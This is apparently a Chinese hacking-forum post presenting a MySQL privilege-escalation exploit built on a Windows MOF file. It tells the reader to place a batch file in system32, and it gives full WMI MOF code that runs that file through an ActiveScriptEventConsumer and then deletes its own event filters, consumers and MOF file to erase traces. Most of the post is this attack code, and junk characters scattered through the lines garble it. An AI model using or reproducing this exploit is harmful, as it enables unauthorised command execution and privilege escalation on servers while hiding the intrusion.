Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
' w. ]2 ^! A' _8 D1 `+ t8 J需要将要运行的命令写入到bat上传到system32目录，然后执行。

这个sql提权MOF需要运行 system下的文件，不能定义路径。
9 V2 B: {5 V6 J2 j3 m- Q: [) e需要将要运行的命令写入到bat上传到system32目录，然后执行。
) K/ l6 Z2 y4 D9 L+ N% m& \
+ c' p4 H4 B- \3 F, e2 v/ ^* y* k#pragma
                        namespace("\\\\.\\root\\cimv2")
6 z; i- M% ^# |& T; r# b* d# a                        class
8 R6 t" z; h/ w* o5 ?1 R5 T- a                        MyClass547
                        {           [key]
                        string
                        Name;
                        };
( j1 g. x; n9 W: V& h8 a/ \                        class
1 z& b6 |$ R! I6 C                        ActiveScriptEventConsumer
) L! V) G) v& X/ p                        : __EventConsumer {          [key]
% u5 e$ T. {, x                        string
                        Name;           [not_null]
                        string
+ T( i- G9 O( t                        ScriptingEngine;           string
                        ScriptFileName;           [template]
' S5 g7 Z. q0 E- [# K! ?; z1 M                        string
% {( P. W- @2 v. o" a' P                        ScriptText;         uint32 KillTimeout;
8 g* E. `4 [5 y' u3 J( I& Z                        }; instance of __Win32Provider as $P {
                        Name
                        =
" C$ P  E8 `) }1 ~) U                        "ActiveScriptEventConsumer";     CLSID =
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
                        PerUserInitialization
                        = TRUE;
                        }; instance of __EventConsumerProviderRegistration {         Provider
2 Z% F6 l* T# T( Z- t' R0 R3 T& L' h, Q                        = $P;         ConsumerClassNames
; y! Q& U" i) q5 B$ P                        =
. t9 X! F) n: o0 ~                        {"ActiveScriptEventConsumer"};
* e5 y2 P6 S$ P- M# C                        };
1 {( M- L8 b/ l4 o                        Instance of ActiveScriptEventConsumer
                        as $cons {         Name
' \; i3 ~  u" w8 _2 w8 s9 f5 G# _                        =
                        "ASEC";         ScriptingEngine
                        =
- p( N7 r+ l0 ~2 P8 X4 F                        "JScript";         ScriptText
) q% G/ c) }/ d" t8 @* X- h- _                        =
9 Y+ r, ?( _7 B                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
                        Instance of ActiveScriptEventConsumer
                        as $cons2 {         Name
                        =
3 d4 W6 _' A8 q% I( v                        "qndASEC";         ScriptingEngine
                        =
+ L1 t7 d& y0 y* W* ?+ n                        "JScript";         ScriptText
7 Q* m$ L8 O8 t4 b( |9 K                        =
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
+ |9 T7 h' B+ Z" `" i5 c                        }; instance of __EventFilter as $Filt {         Name
) }! L1 ^: t( x1 u: R- W% f9 F                        =
6 t9 n# E2 S9 D+ K                        "instfilt";         Query
+ O0 i7 S* [1 M  f1 M  o                        =
1 ?$ K) O/ D$ L                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
9 s: B* ^6 f6 X" |  I: K                        =
' n! q$ @" V# [1 g# {' _                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
                        =
. p$ ?4 {, P' ]                        "qndfilt";         Query
                        =
/ z- J- n1 k  q1 l5 C7 ~$ O, I                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
. R& j$ m' d5 G# x' L6 u                        =
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
                        = $Filt;
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
6 P- N3 O7 L( D$ @* B* C! K: e/ }! B                        = $cons2;         Filter
                        = $Filt2;
( n) z( Q7 f8 V% k                        }; instance of MyClass547
1 [! _4 A9 C* U! K! p$ W0 s                        as $MyClass {         Name
- J: L( C, N1 T* e2 W; A  ?0 Y8 U3 O                        =
, l* P) `' u/ L5 f, ~9 b6 X* q                        "ClassConsumer";
                        };